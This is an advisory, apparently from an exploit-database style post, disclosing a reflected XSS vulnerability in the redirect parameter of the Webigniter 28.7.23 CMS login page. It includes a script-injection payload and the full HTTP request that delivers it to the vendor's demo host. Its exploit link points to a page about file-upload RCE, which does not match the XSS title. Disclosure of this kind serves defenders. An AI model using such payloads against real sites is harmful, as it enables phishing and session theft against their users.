Webigniter 28.7.23 XSS Reflected Vulnerability

## Title: WEBIGniter-28.7.23-XSS-Reflected 
## Author: nu11secur1ty
## Vendor: https://webigniter.net/
## Software: https://webigniter.net/demo
## Reference: https://portswigger.net/web-security/cross-site-scripting


## Description:
The value of the redirect request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ycsz3"><script>alert(1)</script>bn76w was submitted in the redirect parameter. This input was echoed unmodified in the application's response.
By using this Java Script injection, the attacker can trick a lot of users into visiting his dangerous URL which is reflected on the login form, before they log in, warning them that there is a problem with the login, which is very nasty and DANGEROUS!

## Staus: HIGH Vulnerability

[+]Paylod:

GET /cms/login?redirect=cmsycsz3%22%3e%3cscript%3ealert(1)%3c%2fscript%3ebn76w HTTP/1.1
Host: demo.webigniter.net
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WEBIGniter/2023/WEBIGniter-28.7.23-XSS-Reflected)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/09/webigniter-28723-file-upload-rce.html)

## Time spend:
01:35:00